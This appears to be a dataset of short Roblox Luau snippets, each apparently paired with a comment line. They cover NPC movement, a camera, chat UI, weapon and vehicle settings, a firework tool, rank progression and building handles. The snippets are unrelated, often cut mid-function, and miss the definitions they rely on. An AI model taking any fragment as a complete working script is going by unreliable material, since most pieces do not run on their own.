local pos = shelly.PrimaryPart.Position
local cf = CFrame.new(Vector3.new(pos.X, 0, pos.Z), Vector3.new(goal.X, 0, goal.Z))
bg.CFrame = cf
bp.Position = (cf*CFrame.new(0,0,-100)).p
local start = tick()
repeat wait(.5)
local ray = Ray.new(shelly.PrimaryPart.Position, Vector3.new(0,-140,0))
until (shelly.PrimaryPart.Position-goal).magnitude < 10 or tick()-start >15 or not shellyGood
if not shellyGood then bp.Parent,bg.Parent= nil,nil return end
bp.Parent = nil
wait(math.random(3,8))
end
local soundBank = game.ServerStorage.Sounds.NPC.Shelly:GetChildren()
shelly.Health.Changed:connect(function()
if shellyGood then
bp.Parent,bg.Parent= nil,nil
shelly.PrimaryPart.Transparency =1
shelly.PrimaryPart.CanCollide = false
shelly.Shell.Transparency = 1
shelly.HitShell.Transparency = 0
shelly.HitShell.CanCollide = true
shellyGood = false
ostrich = tick()
shelly:SetPrimaryPartCFrame(shelly.PrimaryPart.CFrame*CFrame.new(0,2,0))
local hitSound = soundBank[math.random(1,#soundBank)]:Clone()
hitSound.PlayOnRemove = true
hitSound.Parent = shelly.PrimaryPart
wait()
hitSound:Destroy()
repeat wait() until tick()-ostrich > 10
shelly.PrimaryPart.Transparency = 0
shelly.PrimaryPart.CanCollide = true
shelly.Shell.Transparency = 0
shelly.HitShell.Transparency = 1
shelly.HitShell.CanCollide = false
bp.Parent,bg.Parent = shelly.PrimaryPart,shelly.PrimaryPart
shellyGood = true
end
end)
while true do
if shellyGood then
MoveShelly()
else
wait(1)
end
end
|
-- [[ Update ]]--
|
function OrbitalCamera:Update(dt)
local now = tick()
local timeDelta = (now - self.lastUpdate)
local userPanningTheCamera = (self.UserPanningTheCamera == true)
local camera = workspace.CurrentCamera
local newCameraCFrame = camera.CFrame
local newCameraFocus = camera.Focus
local player = PlayersService.LocalPlayer
local cameraSubject = camera and camera.CameraSubject
local isInVehicle = cameraSubject and cameraSubject:IsA('VehicleSeat')
local isOnASkateboard = cameraSubject and cameraSubject:IsA('SkateboardPlatform')
if self.lastUpdate == nil or timeDelta > 1 then
self.lastCameraTransform = nil
end
if self.lastUpdate then
local gamepadRotation = self:UpdateGamepad()
if self:ShouldUseVRRotation() then
self.RotateInput = self.RotateInput + self:GetVRRotationInput()
else
-- Cap out the delta to 0.1 so we don't get some crazy things when we re-resume from
local delta = math.min(0.1, timeDelta)
if gamepadRotation ~= ZERO_VECTOR2 then
userPanningTheCamera = true
self.rotateInput = self.rotateInput + (gamepadRotation * delta)
end
local angle = 0
if not (isInVehicle or isOnASkateboard) then
angle = angle + (self.TurningLeft and -120 or 0)
angle = angle + (self.TurningRight and 120 or 0)
end
if angle ~= 0 then
self.rotateInput = self.rotateInput + Vector2.new(math.rad(angle * delta), 0)
userPanningTheCamera = true
end
end
end
-- Reset tween speed if user is panning
if userPanningTheCamera then
self.lastUserPanCamera = tick()
end
local subjectPosition = self:GetSubjectPosition()
if subjectPosition and player and camera then
-- Process any dollying being done by gamepad
-- TODO: Move this
if self.gamepadDollySpeedMultiplier ~= 1 then
self:SetCameraToSubjectDistance(self.currentSubjectDistance * self.gamepadDollySpeedMultiplier)
end
local VREnabled = VRService.VREnabled
newCameraFocus = VREnabled and self:GetVRFocus(subjectPosition, timeDelta) or CFrame.new(subjectPosition)
local cameraFocusP = newCameraFocus.p
if VREnabled and not self:IsInFirstPerson() then
local cameraHeight = self:GetCameraHeight()
local vecToSubject = (subjectPosition - camera.CFrame.p)
local distToSubject = vecToSubject.magnitude
-- Only move the camera if it exceeded a maximum distance to the subject in VR
if distToSubject > self.currentSubjectDistance or self.rotateInput.x ~= 0 then
local desiredDist = math.min(distToSubject, self.currentSubjectDistance)
-- Note that CalculateNewLookVector is overridden from BaseCamera
vecToSubject = self:CalculateNewLookVector(vecToSubject.unit * X1_Y0_Z1, Vector2.new(self.rotateInput.x, 0)) * desiredDist
local newPos = cameraFocusP - vecToSubject
local desiredLookDir = camera.CFrame.lookVector
if self.rotateInput.x ~= 0 then
desiredLookDir = vecToSubject
end
local lookAt = Vector3.new(newPos.x + desiredLookDir.x, newPos.y, newPos.z + desiredLookDir.z)
self.RotateInput = ZERO_VECTOR2
newCameraCFrame = CFrame.new(newPos, lookAt) + Vector3.new(0, cameraHeight, 0)
end
else
-- self.RotateInput is a Vector2 of mouse movement deltas since last update
self.curAzimuthRad = self.curAzimuthRad - self.rotateInput.x
if self.useAzimuthLimits then
self.curAzimuthRad = math.clamp(self.curAzimuthRad, self.minAzimuthAbsoluteRad, self.maxAzimuthAbsoluteRad)
else
self.curAzimuthRad = (self.curAzimuthRad ~= 0) and (math.sign(self.curAzimuthRad) * (math.abs(self.curAzimuthRad) % TAU)) or 0
end
self.curElevationRad = math.clamp(self.curElevationRad + self.rotateInput.y, self.minElevationRad, self.maxElevationRad)
local cameraPosVector = self.currentSubjectDistance * ( CFrame.fromEulerAnglesYXZ( -self.curElevationRad, self.curAzimuthRad, 0 ) * UNIT_Z )
local camPos = subjectPosition + cameraPosVector
newCameraCFrame = CFrame.new(camPos, subjectPosition)
self.rotateInput = ZERO_VECTOR2
end
self.lastCameraTransform = newCameraCFrame
self.lastCameraFocus = newCameraFocus
if (isInVehicle or isOnASkateboard) and cameraSubject:IsA('BasePart') then
self.lastSubjectCFrame = cameraSubject.CFrame
else
self.lastSubjectCFrame = nil
end
end
self.lastUpdate = now
return newCameraCFrame, newCameraFocus
end
return OrbitalCamera
|
--// Above was taken directly from Util.GetStringTextBounds() in the old chat corescripts.
|
function methods:GetMessageHeight(BaseMessage, BaseFrame, xSize)
xSize = xSize or BaseFrame.AbsoluteSize.X
local textBoundsSize = self:GetStringTextBounds(BaseMessage.Text, BaseMessage.Font, BaseMessage.TextSize, Vector2.new(xSize, 1000))
if textBoundsSize.Y ~= math.floor(textBoundsSize.Y) then
-- HACK Alert. TODO: Remove this when we switch UDim2 to use float Offsets
-- This is nessary due to rounding issues on mobile devices when translating between screen pixels and native pixels
return textBoundsSize.Y + 1
end
return textBoundsSize.Y
end
function methods:GetNumberOfSpaces(str, font, textSize)
local strSize
if typeof(str)=="string" then
strSize = self:GetStringTextBounds(str, font, textSize)
elseif typeof(str)=="Instance" then
strSize=str.AbsoluteSize
end
local singleSpaceSize = self:GetStringTextBounds(" ", font, textSize)
return math.ceil(strSize.X / singleSpaceSize.X)
end
function methods:CreateBaseMessage(message, font, textSize, chatColor)
local BaseFrame = self:GetFromObjectPool("Frame")
BaseFrame.Selectable = false
BaseFrame.Size = UDim2.new(1, 0, 0, 18)
BaseFrame.Visible = true
BaseFrame.BackgroundTransparency = 1
local messageBorder = 8
local BaseMessage = self:GetFromObjectPool("TextLabel")
BaseMessage.Selectable = false
BaseMessage.Size = UDim2.new(1, -(messageBorder + 6), 1, 0)
BaseMessage.Position = UDim2.new(0, messageBorder, 0, 0)
BaseMessage.BackgroundTransparency = 1
BaseMessage.Font = font
BaseMessage.TextSize = textSize
BaseMessage.TextXAlignment = Enum.TextXAlignment.Left
BaseMessage.TextYAlignment = Enum.TextYAlignment.Top
BaseMessage.TextTransparency = 0
BaseMessage.TextStrokeTransparency = 0.75
BaseMessage.TextColor3 = chatColor
BaseMessage.TextWrapped = true
BaseMessage.ClipsDescendants = true
BaseMessage.Text = message
BaseMessage.Visible = true
BaseMessage.Parent = BaseFrame
return BaseFrame, BaseMessage
end
function methods:AddNameButtonToBaseMessage(BaseMessage, nameColor, formatName, playerName)
local speakerNameSize = self:GetStringTextBounds(formatName, BaseMessage.Font, BaseMessage.TextSize)
local NameButton = self:GetFromObjectPool("TextButton")
NameButton.Selectable = false
NameButton.Size = UDim2.new(0, speakerNameSize.X, 0, speakerNameSize.Y)
NameButton.Position = UDim2.new(0, 0, 0, 0)
NameButton.BackgroundTransparency = 1
NameButton.Font = BaseMessage.Font
NameButton.TextSize = BaseMessage.TextSize
NameButton.TextXAlignment = BaseMessage.TextXAlignment
NameButton.TextYAlignment = BaseMessage.TextYAlignment
NameButton.TextTransparency = BaseMessage.TextTransparency
NameButton.TextStrokeTransparency = BaseMessage.TextStrokeTransparency
NameButton.TextColor3 = nameColor
NameButton.Text = formatName
NameButton.Visible = true
NameButton.Parent = BaseMessage
local clickedConn = NameButton.MouseButton1Click:connect(function()
self:NameButtonClicked(NameButton, playerName)
end)
local changedConn = nil
changedConn = NameButton.Changed:connect(function(prop)
if prop == "Parent" then
clickedConn:Disconnect()
changedConn:Disconnect()
end
end)
return NameButton
end
function methods:AddChannelButtonToBaseMessage(BaseMessage, channelColor, formatChannelName, channelName)
local channelNameSize = self:GetStringTextBounds(formatChannelName, BaseMessage.Font, BaseMessage.TextSize)
local ChannelButton = self:GetFromObjectPool("TextButton")
ChannelButton.Selectable = false
ChannelButton.Size = UDim2.new(0, channelNameSize.X, 0, channelNameSize.Y)
ChannelButton.Position = UDim2.new(0, 0, 0, 0)
ChannelButton.BackgroundTransparency = 1
ChannelButton.Font = BaseMessage.Font
ChannelButton.TextSize = BaseMessage.TextSize
ChannelButton.TextXAlignment = BaseMessage.TextXAlignment
ChannelButton.TextYAlignment = BaseMessage.TextYAlignment
ChannelButton.TextTransparency = BaseMessage.TextTransparency
ChannelButton.TextStrokeTransparency = BaseMessage.TextStrokeTransparency
ChannelButton.TextColor3 = channelColor
ChannelButton.Text = formatChannelName
ChannelButton.Visible = true
ChannelButton.Parent = BaseMessage
local clickedConn = ChannelButton.MouseButton1Click:connect(function()
self:ChannelButtonClicked(ChannelButton, channelName)
end)
local changedConn = nil
changedConn = ChannelButton.Changed:connect(function(prop)
if prop == "Parent" then
clickedConn:Disconnect()
changedConn:Disconnect()
end
end)
return ChannelButton
end
function methods:AddTagLabelToBaseMessage(BaseMessage, tagColor, formatTagText)
local tagNameSize = self:GetStringTextBounds(formatTagText, BaseMessage.Font, BaseMessage.TextSize)
local TagLabel = self:GetFromObjectPool("TextLabel")
TagLabel.Selectable = false
TagLabel.Size = UDim2.new(0, tagNameSize.X, 0, tagNameSize.Y)
TagLabel.Position = UDim2.new(0, 0, 0, 0)
TagLabel.BackgroundTransparency = 1
TagLabel.Font = BaseMessage.Font
TagLabel.TextSize = BaseMessage.TextSize
TagLabel.TextXAlignment = BaseMessage.TextXAlignment
TagLabel.TextYAlignment = BaseMessage.TextYAlignment
TagLabel.TextTransparency = BaseMessage.TextTransparency
TagLabel.TextStrokeTransparency = BaseMessage.TextStrokeTransparency
TagLabel.TextColor3 = tagColor
TagLabel.Text = formatTagText
TagLabel.Visible = true
TagLabel.Parent = BaseMessage
return TagLabel
end
function methods:AddIconLabelToBaseMessage(BaseMessage,iconAddress)
local iconSize=DEFAULT_ICON_SIZE
local IconLabel=self:GetFromObjectPool("ImageLabel")
IconLabel.Selectable = false
IconLabel.Position = UDim2.new(0, 0, 0, 0)
IconLabel.Size = UDim2.new(0, iconSize.X, 0, iconSize.Y)
IconLabel.BackgroundTransparency = 1
IconLabel.Visible = true
IconLabel.ImageTransparency=0
IconLabel.ScaleType=Enum.ScaleType.Fit
IconLabel.ImageColor3=Color3.new(1,1,1)
IconLabel.Image=iconAddress
IconLabel.Parent = BaseMessage
return IconLabel
end
function GetWhisperChannelPrefix()
if ChatConstants.WhisperChannelPrefix then
return ChatConstants.WhisperChannelPrefix
end
return "To "
end
function methods:NameButtonClicked(nameButton, playerName)
if not self.ChatWindow then
return
end
if ChatSettings.ClickOnPlayerNameToWhisper then
local player = Players:FindFirstChild(playerName)
if player and player ~= LocalPlayer then
local whisperChannel = GetWhisperChannelPrefix() ..playerName
if self.ChatWindow:GetChannel(whisperChannel) then
self.ChatBar:ResetCustomState()
local targetChannelName = self.ChatWindow:GetTargetMessageChannel()
if targetChannelName ~= whisperChannel then
self.ChatWindow:SwitchCurrentChannel(whisperChannel)
end
local whisperMessage = "/w " ..playerName
self.ChatBar:SetText(whisperMessage)
self.ChatBar:CaptureFocus()
elseif not self.ChatBar:IsInCustomState() then
local whisperMessage = "/w " ..playerName
self.ChatBar:SetText(whisperMessage)
self.ChatBar:CaptureFocus()
end
end
end
end
function methods:ChannelButtonClicked(channelButton, channelName)
if not self.ChatWindow then
return
end
if ChatSettings.ClickOnChannelNameToSetMainChannel then
if self.ChatWindow:GetChannel(channelName) then
self.ChatBar:ResetCustomState()
local targetChannelName = self.ChatWindow:GetTargetMessageChannel()
if targetChannelName ~= channelName then
self.ChatWindow:SwitchCurrentChannel(channelName)
end
self.ChatBar:ResetText()
self.ChatBar:CaptureFocus()
end
end
end
function methods:RegisterChatWindow(chatWindow)
self.ChatWindow = chatWindow
self.ChatBar = chatWindow:GetChatBar()
end
function methods:GetFromObjectPool(className)
if self.ObjectPool == nil then
return Instance.new(className)
end
return self.ObjectPool:GetInstance(className)
end
function methods:RegisterObjectPool(objectPool)
self.ObjectPool = objectPool
end
|
----------------------------------------------------------------------------------------------------
-----------------=[ General ]=----------------------------------------------------------------------
----------------------------------------------------------------------------------------------------
|
TeamKill = true --- Enable TeamKill?
,TeamDamageMultiplier = 0.2 --- Between 0-1 | This will make you cause less damage if you hit your teammate
,ReplicatedBullets = true --- Keep in mind that some bullets will pass through surfaces...
,AntiBunnyHop = true --- Enable anti bunny hop system?
,JumpCoolDown = 1 --- Seconds before you can jump again
,JumpPower = 30 --- Jump power, default is 50
,RealisticLaser = true --- True = Laser line is invisible
,ReplicatedLaser = true
,ReplicatedFlashlight = true
,EnableRagdoll = true --- Enable ragdoll death?
,TeamTags = true --- Aaaaaaa
,HitmarkerSound = false --- GGWP MLG 360 NO SCOPE xD
|
-- Public Constructors
|
function DraggerClass.new(element)
local self = setmetatable({}, DraggerClass)
self._Maid = Lazy.Utilities.Maid.new()
self._DragBind = Instance.new("BindableEvent")
self._StartBind = Instance.new("BindableEvent")
self._StopBind = Instance.new("BindableEvent")
self.Element = element
self.IsDragging = false
self.DragChanged = self._DragBind.Event
self.DragStart = self._StartBind.Event
self.DragStop = self._StopBind.Event
init(self)
return self
end
|
-- Initialize the tool
|
local MaterialTool = {
Name = 'Material Tool';
Color = BrickColor.new 'Bright violet';
-- State
CurrentMaterial = nil;
-- Signals
OnMaterialChanged = Signal.new();
}
MaterialTool.ManualText = [[<font face="GothamBlack" size="16">Material Tool 🛠</font>
Lets you change the material, transparency, and reflectance of parts.]]
|
----
----
|
if hit.Parent:findFirstChild("Humanoid") ~= nil then
local target1 = "LeftUpperLeg"
local target2 = "LeftUpperLeg2"
if hit.Parent:findFirstChild(target2) == nil then
local g = script.Parent.Parent[target2]:clone()
g.Parent = hit.Parent
local C = g:GetChildren()
for i=1, #C do
if C[i].className == "UnionOperation" or C[i].className =="Part" or C[i].className == "WedgePart" or C[i].className == "MeshPart" then
local W = Instance.new("Weld")
W.Part0 = g.Middle
W.Part1 = C[i]
local CJ = CFrame.new(g.Middle.Position)
local C0 = g.Middle.CFrame:inverse()*CJ
local C1 = C[i].CFrame:inverse()*CJ
W.C0 = C0
W.C1 = C1
W.Parent = g.Middle
end
local Y = Instance.new("Weld")
Y.Part0 = hit.Parent[target1]
Y.Part1 = g.Middle
Y.C0 = CFrame.new(0, 0, 0)
Y.Parent = Y.Part0
end
local h = g:GetChildren()
for i = 1, # h do
h[i].Anchored = false
h[i].CanCollide = false
end
end
end
|
--------------------) Settings
|
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 30 -- cooldown for use of the tool again
ZoneModelName = "Damage zone" -- name the zone model
MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]]
|
local autoscaling = false --Estimates top speed
local UNITS = { --Click on speed to change units
--First unit is default
{
units = "MPH" ,
scaling = (10/12) * (60/88) , -- 1 stud : 10 inches | ft/s to MPH
maxSpeed = 140 ,
spInc = 20 , -- Increment between labelled notches
},
{
units = "KM/H" ,
scaling = (10/12) * 1.09728 , -- 1 stud : 10 inches | ft/s to KP/H
maxSpeed = 240 ,
spInc = 20 , -- Increment between labelled notches
},
{
units = "SPS" ,
scaling = 1 , -- Roblox standard
maxSpeed = 250 ,
spInc = 20 , -- Increment between labelled notches
}
}
|
-- GAMEPASSES
|
Gamepasses = {
[0] = "NonAdmin";
};
|
--MOT is up and down while MOT2 is side to side
|
wt = 0.07
while wait(0.01) do
if script.Parent.Values.PBrake.Value == true then
MOT3.DesiredAngle = 0.6
end
if script.Parent.Values.PBrake.Value == false then
MOT3.DesiredAngle = 0.2
end
end
|
--[[
BaseState
Description: BaseState is a class that is meant to be inherited, when you inherit from this base state it's intended to
be provided to a state machine. You can override some of the functions in your inherited class to take advantage of the
a base state's behavior in a state machine.
To find a great example of inheriting BaseState, go into
ReplicatedStorage -> Common -> Databases -> WeaponStates -> Grenade -> IdleState
]]
|
local BaseState = {}
BaseState.__index = BaseState
|
-- Private Variables --
|
local root = script.Parent.Parent --the root of the Chassis model
local driverSeat
local passengerSeats
local motors
local steeringPrismatic
local redressMount
local defaultGravity = 196.2
local actualGravity = workspace.Gravity
local gravityChange = actualGravity / defaultGravity
|
--Made by Luckymaxer
|
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
Players = game:GetService("Players")
Debris = game:GetService("Debris")
RbxUtility = LoadLibrary("RbxUtility")
Create = RbxUtility.Create
BaseUrl = "http://www.roblox.com/asset/?id="
ExplosionScript = script:WaitForChild("ExplosionScript")
Animations = {
Light = {Animation = Tool:WaitForChild("Light"), FadeTime = nil, Weight = nil, Speed = nil, Duration = nil}
}
Sounds = {
Fuse = Handle:WaitForChild("Fuse"),
}
Sparks = Handle:WaitForChild("Sparks")
BasePart = Create("Part"){
Shape = Enum.PartType.Block,
Material = Enum.Material.Plastic,
TopSurface = Enum.SurfaceType.Smooth,
BottomSurface = Enum.SurfaceType.Smooth,
FormFactor = Enum.FormFactor.Custom,
Size = Vector3.new(0.2, 0.2, 0.2),
CanCollide = true,
Locked = true,
Anchored = false,
}
BaseFirework = Handle:Clone()
BaseFirework.Name = "Firework"
BaseFirework.Transparency = 0
BaseFirework.Locked = true
BaseFirework.CanCollide = true
Rate = (1 / 60)
Gravity = 196.20
ReloadTime = 10
ToolEquipped = false
ServerControl = (Tool:FindFirstChild("ServerControl") or Create("RemoteFunction"){
Name = "ServerControl",
Parent = Tool,
})
ClientControl = (Tool:FindFirstChild("ClientControl") or Create("RemoteFunction"){
Name = "ClientControl",
Parent = Tool,
})
Sparks.Enabled = false
Handle.Transparency = 0
Tool.Enabled = true
function FireFirework()
Handle.Transparency = 1
local Firework = BaseFirework:Clone()
Firework.CFrame = Handle.CFrame
local Force = 35
local Mass = (Firework:GetMass() * Gravity)
local Velocity = (Vector3.new(0, 1, 0) * Force)
local BodyVelocity = Create("BodyVelocity"){
maxForce = Vector3.new(Mass, Mass, Mass),
velocity = Velocity,
Parent = Firework,
}
local AngleX, AngleY, AngleZ = Handle.CFrame:toEulerAnglesXYZ()
local BodyGyro = Create("BodyGyro"){
maxTorque = Vector3.new(math.huge, 0, math.huge),
cframe = CFrame.new(0, AngleY, 0),
Parent = Firework,
}
Firework.Velocity = Velocity
Debris:AddItem(Firework, (60 / 2))
Firework.Parent = game:GetService("Workspace")
return Firework
end
function Activated()
if not Tool.Enabled or not ToolEquipped then
return
end
local CurrentlyEquipped = true
ToolUnequipped = Tool.Unequipped:connect(function()
CurrentlyEquipped = false
end)
Tool.Enabled = false
Sparks.Enabled = true
Sounds.Fuse:Play()
Spawn(function()
InvokeClient("PlayAnimation", Animations.Light)
end)
wait(2)
if CurrentlyEquipped then
Sparks.Enabled = false
local Firework = FireFirework()
local ExplosionScriptClone = ExplosionScript:Clone()
ExplosionScriptClone.Disabled = false
ExplosionScriptClone.Parent = Firework
wait(ReloadTime)
if CurrentlyEquipped then
Handle.Transparency = 0
end
end
Tool.Enabled = true
end
function CheckIfAlive()
return (((Player and Player.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0) and true) or false)
end
function Equipped()
Character = Tool.Parent
Player = Players:GetPlayerFromCharacter(Character)
Humanoid = Character:FindFirstChild("Humanoid")
if not CheckIfAlive() then
return
end
for i, v in pairs({ToolUnequipped}) do
if v then
v:disconnect()
end
end
ToolEquipped = true
end
function Unequipped()
Handle.Transparency = 0
ToolEquipped = false
end
function InvokeClient(Mode, Value)
local ClientReturn = nil
pcall(function()
ClientReturn = ClientControl:InvokeClient(Player, Mode, Value)
end)
return ClientReturn
end
function OnServerInvoke(player, Mode, Value)
if player ~= Player or not Mode or not Value then
return
end
end
ServerControl.OnServerInvoke = OnServerInvoke
Tool.Activated:connect(Activated)
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
|
--[[
function playsound(time)
nextsound=time+5+(math.random()*5)
local randomsound=sounds[math.random(1,#sounds)]
randomsound.Volume=.5+(.5*math.random())
randomsound.Pitch=.5+(.5*math.random())
randomsound:Play()
end
--]]
|
while sp.Parent and Humanoid and Humanoid.Parent and Humanoid.Health>0 and Torso and Head and Torso and Torso.Parent do
for _,parts in pairs(sp:GetDescendants()) do
if parts:IsA("BasePart") and parts:CanSetNetworkOwnership() then
parts:SetNetworkOwner(nil)
end
end
local _,time=wait(1/3)
humanoids={}
populatehumanoids()
closesttarget=nil
closestdist=sightrange
local creator=sp:FindFirstChild("creator")
for i,h in ipairs(humanoids) do
if h and h.Parent then
if h.Health>0 and h.Parent.Name~=sp.Name and h.Parent~=sp then
local plr=game.Players:GetPlayerFromCharacter(h.Parent)
if not creator or not plr or creator.Value~=plr then
local t=h.Parent:FindFirstChild("Torso") or h.Parent:FindFirstChild("UpperTorso")
if t then
local dist=(t.Position-Torso.Position).magnitude
if dist<closestdist then
closestdist=dist
closesttarget=t
end
end
end
end
end
end
if closesttarget then
if not chasing then
--playsound(time)
chasing=true
Humanoid.WalkSpeed=runspeed
end
Humanoid:MoveTo(closesttarget.Position+(Vector3.new(1,1,1)*(variance*((math.random()*2)-1))),closesttarget)
if math.random()<.5 then
attack(time,closesttarget.Position)
end
else
if chasing then
chasing=false
Humanoid.WalkSpeed=wonderspeed
end
if time>nextrandom then
nextrandom=time+3+(math.random()*5)
local randompos=Torso.Position+((Vector3.new(1,1,1)*math.random()-Vector3.new(.5,.5,.5))*40)
Humanoid:MoveTo(randompos,game.Workspace.Terrain)
end
end
|
--Values--
|
local car = script.Parent.Parent.Car.Value
local FE = workspace.FilteringEnabled
local _Tune = require(car["A-Chassis Tune"])
local Redline = _Tune.Redline
local maxPSI = WasteGatePressure
local totalPSI = 0
local actualPSI = 0
local CR = CompressionRatio
local TC = TurboCount
local handler = car:WaitForChild("UpdateAndMake")
local Values = script.Parent.Parent.Values
local Throttle = script.Parent.Parent.Values.Throttle.Value
local BOVFix = (1 - Throttle)
local tester = 1
local BOVact = 0
local BOVact2 = 0
local Whistle = car.DriveSeat:WaitForChild("Whistle")
local BOV = car.DriveSeat:WaitForChild("BOV")
Whistle:Play()
script.Parent.Parent.Values.RPM.Changed:connect(function()
--When In Neutral
if Values.Horsepower.Value == 0 then
totalPSI = totalPSI + ((((((Values.RPM.Value*(Values.Throttle.Value*1.2)/Redline)/9)-0.053)*(69/TurboSize))/WasteGatePressure)*15)
if totalPSI < 0.05 then
totalPSI = 0.05
end
if totalPSI > 2 then
totalPSI = 2
end
--TEST
end
--When Driving
if Values.Horsepower.Value > 0 then
totalPSI = totalPSI + ((((((Values.Horsepower.Value*(Values.Throttle.Value*1.2)/_Tune.Horsepower)/9)-0.063)*69/TurboSize)/WasteGatePressure)*15)
if totalPSI < 0.05 then
totalPSI = 0.05
end
if totalPSI > 2 then
totalPSI = 2
end
--TEST
end
actualPSI = totalPSI/2
if FE then
local BP = totalPSI
handler:FireServer(totalPSI,actualPSI,Throttle,BOVFix)
else
local Throttle2 = Throttle
local W = car.DriveSeat:WaitForChild("Whistle")
local B = car.DriveSeat:WaitForChild("BOV")
if Throttle2 < 0 then
Throttle2 = 0
end
W.Pitch = (totalPSI)
W.Volume = totalPSI/4
B.Pitch = 1 - (-totalPSI/40)
B.Volume = ((-0.03+totalPSI/2)*(1 - Throttle))/2
end
end)
|
--front motor
|
script.Parent.Wheels.boggieF.motf.HingeConstraint.AngularVelocity = speed
script.Parent.Wheels.boggieF.motf.HingeConstraint2.AngularVelocity = speed
script.Parent.Wheels.boggieF.motf.HingeConstraint.MotorMaxTorque = RPM
script.Parent.Wheels.boggieF.motf.HingeConstraint2.MotorMaxTorque = RPM
|
-- for i, entry in ipairs(messages) do
-- if entry.messageType == Enum.MessageType.MessageWarning
-- or entry.messageType == Enum.MessageType.MessageError then
--
-- warn(entry.message)
-- else
-- print(entry.message)
-- end
-- end
|
end
|
-- if vehicle ~= nil and debounce == false and planedebounce == false then
-- if fly == false and taxi == false then return end
-- debounce = true
|
controlling = true
while controlling do
game:GetService("RunService").RenderStepped:wait()
if script.Parent.CanControl.Value == true and script.Parent.Power.Value >= Settings.MaxPower then
local engine = Parts:WaitForChild("Engine")
local position = mouse.Hit
local target = position.p
local mousePoint = mouse.Hit.p;
-- Vector from tank to mouse point aasfbsdfsdfbdbsdfsd
local targetVector = (mousePoint - mouse.Origin.p).unit;
move(mousePoint, engine)
else
end
end
|
--local l__ID__2 = u1.Directory.Gamepasses.VIP.ID;
|
local u3 = {};
function v1.Progress(p4, p5)
local v12 = u1.Saving.Get(p4);
if not v12 then
return;
end;
--if u1.Gamepasses.Owns(p4, l__ID__2) then
-- p5 = p5 * 2;
--end;
if v12.IsFollowingOnTwitter then
p5 = p5 * 1.5;
end;
if not u3[p4] then
u3[p4] = p5;
return;
end;
u3[p4] = u3[p4] + p5;
end;
function v1.GetNextRank(p6)
local v13 = u1.Saving.Get(p6);
if not v13 then
return;
end;
for v14, v15 in ipairs(u1.Shared.RankChart) do
if v15 == v13.Rank then
return u1.Shared.RankChart[v14 + 1];
end;
end;
end;
function v1.GetRankNumber(p7)
local v16 = u1.Saving.Get(p7);
if not v16 then
return;
end;
local l__RankChart__17 = u1.Shared.RankChart;
for v18, v19 in ipairs(l__RankChart__17) do
if v19 == v16.Rank then
return v18;
end;
end;
return #l__RankChart__17;
end;
function ApplyProgress(p8)
local v20 = u1.Saving.Get(p8);
local v21 = u3[p8];
if v21 then
if v20 then
u3[p8] = nil;
v20.RankProgress = v20.RankProgress + v21;
if u1.Directory.Ranks[v20.Rank].needed <= v20.RankProgress then
local v22 = v1.GetNextRank(p8);
if v22 then
v1.Give(p8, v22);
end;
end;
end;
end;
end;
coroutine.wrap(function()
while true do
for v23, v24 in ipairs(game.Players:GetPlayers()) do
ApplyProgress(v24);
end;
wait(0.5);
end;
end)();
game.Players.PlayerRemoving:Connect(function(p9)
if u3[p9] then
u3[p9] = nil;
end;
end);
u1.Network.Invoked("Redeem Rank Rewards").OnInvoke = function(p10)
return v1.Reward(p10);
end;
return v1;
|
---[[ Font Settings ]]
|
module.DefaultFont = Enum.Font.SciFi
module.ChatBarFont = Enum.Font.SciFi
|
--[[
timer = Timer.new(interval: number [, janitor: Janitor])
connection = Timer.Simple(interval: number, callback: () -> void [, updateSignal: Signal = Heartbeat, timeFunc: () -> number = time])
timer.Tick: Signal
timer.Interval: number
timer.UpdateSignal: Signal
timer.TimeFunction: () -> number
timer.AllowDrift: boolean
timer:Start()
timer:StartNow()
timer:Stop()
timer:Destroy()
------------------------------------
local timer = Timer.new(2)
timer.Tick:Connect(function()
print("Tock")
end)
timer:Start()
Timer.Simple(2, function()
print("Tock")
end)
--]]
|
type CallbackFunc = () -> nil
type TimeFunc = () -> number
local Signal = require(script.Parent.Signal)
local RunService = game:GetService("RunService")
|
-- Set to 0 for no superchargers
|
Tune.S_Boost = 5
Tune.S_Efficiency = 6
Tune.S_Sensitivity = 0.05 -- Supercharger responsiveness/sensitivity, applied per tick (recommended values between 0.05 to 0.1)
|
-- Class
|
local ViewportWindow = Class("ViewportWindow")
function ViewportWindow:__init(surfaceGui)
self.surfaceGui = surfaceGui
self.camera = Instance.new("Camera")
self.camera.Parent = surfaceGui
self.worldFrame = self:_createVPF("WorldFrame", 2)
self.skyboxFrame = self:_createVPF("SkyboxFrame", 1)
self.worldRoot = Instance.new("WorldModel")
self.worldRoot.Parent = self.worldFrame
end
|
-- Create class
|
local Handles = {}
Handles.__index = Handles
function Handles.new(Options)
local self = setmetatable({}, Handles)
-- Create maid for cleanup on destroyal
self.Maid = Maid.new()
-- Create UI container
local Gui = Instance.new('ScreenGui')
self.Gui = Gui
Gui.Name = 'BTHandles'
Gui.IgnoreGuiInset = true
self.Maid.Gui = Gui
-- Create interface
self.IsMouseAvailable = UserInputService.MouseEnabled
self:CreateHandles(Options)
-- Get camera and viewport information
self.Camera = Workspace.CurrentCamera
self.GuiInset = GuiService:GetGuiInset()
-- Get list of ignorable handle obstacles
self.ObstacleBlacklistIndex = Support.FlipTable(Options.ObstacleBlacklist or {})
self.ObstacleBlacklist = Support.Keys(self.ObstacleBlacklistIndex)
-- Enable handle
self:SetAdornee(Options.Adornee)
self.Gui.Parent = Options.Parent
-- Return new handles
return self
end
function Handles:CreateHandles(Options)
self.Handles = {}
self.HandleStates = {}
-- Generate a handle for each side
for _, Side in ipairs(Enum.NormalId:GetEnumItems()) do
-- Create handle
local Handle = Instance.new('ImageButton')
Handle.Name = Side.Name
Handle.Image = 'rbxassetid://2347145012'
Handle.ImageColor3 = Options.Color
Handle.ImageTransparency = 0.33
Handle.AnchorPoint = Vector2.new(0.5, 0.5)
Handle.BackgroundTransparency = 1
Handle.BorderSizePixel = 0
Handle.ZIndex = 1
Handle.Visible = false
-- Create handle dot
local HandleDot = Handle:Clone()
HandleDot.Active = false
HandleDot.Size = UDim2.new(0, 4, 0, 4)
